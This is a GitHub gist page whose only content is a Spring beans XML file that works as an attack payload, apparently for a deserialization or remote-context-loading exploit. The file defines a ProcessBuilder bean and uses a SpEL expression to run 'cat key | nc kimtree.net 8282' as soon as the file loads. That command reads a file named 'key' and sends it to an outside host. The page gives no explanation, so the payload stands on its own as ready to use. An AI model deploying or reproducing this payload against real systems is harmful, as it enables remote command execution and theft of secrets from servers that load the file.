Skip to content

Instantly share code, notes, and snippets.

@kimtree
Created January 14, 2019 07:24
Show Gist options
  • Save kimtree/ae9f474bc31ffa297d37febdd1365e2a to your computer and use it in GitHub Desktop.
Save kimtree/ae9f474bc31ffa297d37febdd1365e2a to your computer and use it in GitHub Desktop.
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="processBuilder" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key | nc kimtree.net 8282"/>
<property name="name" value="#{ processBuilder.start() }"/>
</bean>
</beans>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment